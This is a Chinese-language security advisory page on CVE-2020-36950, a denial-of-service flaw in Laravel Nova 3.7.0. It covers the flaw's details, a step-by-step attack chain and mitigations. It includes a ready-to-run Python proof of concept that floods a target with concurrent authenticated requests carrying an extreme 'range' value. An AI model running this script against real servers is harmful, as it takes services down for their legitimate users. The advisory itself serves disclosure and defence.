IPBUF安全漏洞报告
English
CVE-2020-36950 CVSS 6.5 中危

CVE-2020-36950 Laravel Nova range参数拒绝服务漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36950
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Laravel Nova 3.7.0

相关标签

拒绝服务Laravel NovaCVE-2020-36950参数注入资源耗尽Web应用漏洞PHPMetasploit

漏洞概述

CVE-2020-36950是Laravel Nova 3.7.0版本中存在的一个拒绝服务(DoS)漏洞。该漏洞允许已认证的低权限用户通过操纵应用程序中的range参数来导致服务崩溃。攻击者可以构造带有极大range值的并发请求,当这些请求被服务器处理时,会导致服务器资源被大量消耗,最终造成应用程序无法响应正常请求,形成拒绝服务攻击。由于该漏洞需要认证才能利用,因此攻击门槛相对较高,但一旦被利用,将严重影响应用程序的可用性。Laravel Nova是一个为Laravel框架设计的官方管理面板,广泛应用于企业级Web应用程序中。该漏洞的CVSS评分为6.5,属于中等严重程度,主要影响系统的可用性,对机密性和完整性没有影响。攻击者无需特殊权限或用户交互即可发起攻击,但需要具备有效的用户凭证。

技术细节

该漏洞存在于Laravel Nova的查询处理机制中。当用户请求包含range参数时,应用程序会根据该参数的值来构建数据库查询范围。攻击者可以指定一个极大的range值(如999999999),导致应用程序尝试加载和处理超出合理范围的数据集。当多个并发请求携带极端range值时,服务器会分配大量内存和CPU资源来处理这些查询,最终导致内存耗尽或进程崩溃。漏洞的核心问题在于缺乏对range参数值的有效验证和限制,应用程序信任用户输入并直接将其用于数据查询操作。攻击者可以利用这一点,通过脚本发送大量并发请求,每个请求都包含极端的range参数值,从而快速耗尽服务器资源。在Metasploit框架中已存在针对该漏洞的利用模块,证明了该漏洞的实用性和危害性。修复方案需要在应用程序层面对用户输入的range参数进行严格验证,设置合理的上限值,并在查询执行前进行资源消耗评估。

攻击链分析

STEP 1
步骤1
攻击者获取Laravel Nova应用程序的有效用户会话凭证,可以通过窃取会话cookie或使用合法账户凭据
STEP 2
步骤2
攻击者识别应用程序中处理range参数的API端点,通常是数据查询或列表展示功能
STEP 3
步骤3
攻击者构造恶意请求,将range参数设置为极端值(如999999999),导致应用程序尝试加载大量数据集
STEP 4
步骤4
使用脚本或自动化工具发送多个并发请求,每个请求都包含极端的range参数值
STEP 5
步骤5
服务器在处理这些恶意请求时分配大量内存和CPU资源,导致内存耗尽或进程崩溃
STEP 6
步骤6
应用程序无法响应正常用户请求,形成拒绝服务状态,攻击目标达成

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2020-36950 Laravel Nova DoS PoC # Usage: python3 nova_dos_poc.py <target_url> <session_cookie> import requests import sys import concurrent.futures def send_dos_request(url, session_cookie): """Send a single DoS request with large range parameter""" headers = { 'Cookie': f'nova_session={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } # Exploit the range parameter with extreme value data = { 'range': '999999999', 'perPage': '1000' } try: response = requests.post(url, headers=headers, data=data, timeout=30) return response.status_code except requests.exceptions.RequestException as e: return f"Error: {e}" def main(): if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <target_url> <session_cookie>") sys.exit(1) target_url = sys.argv[1] session_cookie = sys.argv[2] print(f"[*] Starting DoS attack on {target_url}") print(f"[*] Target: Laravel Nova with range parameter vulnerability") # Launch concurrent requests to overwhelm the server with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: futures = [executor.submit(send_dos_request, target_url, session_cookie) for _ in range(100)] results = [f.result() for f in concurrent.futures.as_completed(futures)] print(f"[*] Sent {len(results)} requests") print(f"[*] Attack completed") if __name__ == '__main__': main()

影响范围

Laravel Nova < 3.8.0
Laravel Nova 3.7.0 (受影响版本)

防御指南

临时缓解措施
在官方补丁发布前,可以采取以下临时缓解措施:1) 限制range参数的最大允许值,在代码中添加参数验证逻辑;2) 启用Web应用防火墙并配置针对该漏洞的防护规则;3) 实施请求频率限制,阻止短时间内的大量请求;4) 增加服务器资源监控告警,及时发现异常情况;5) 考虑临时禁用非必要的Nova功能,减少攻击面;6) 审查并限制用户权限,确保低权限用户无法访问敏感的查询功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表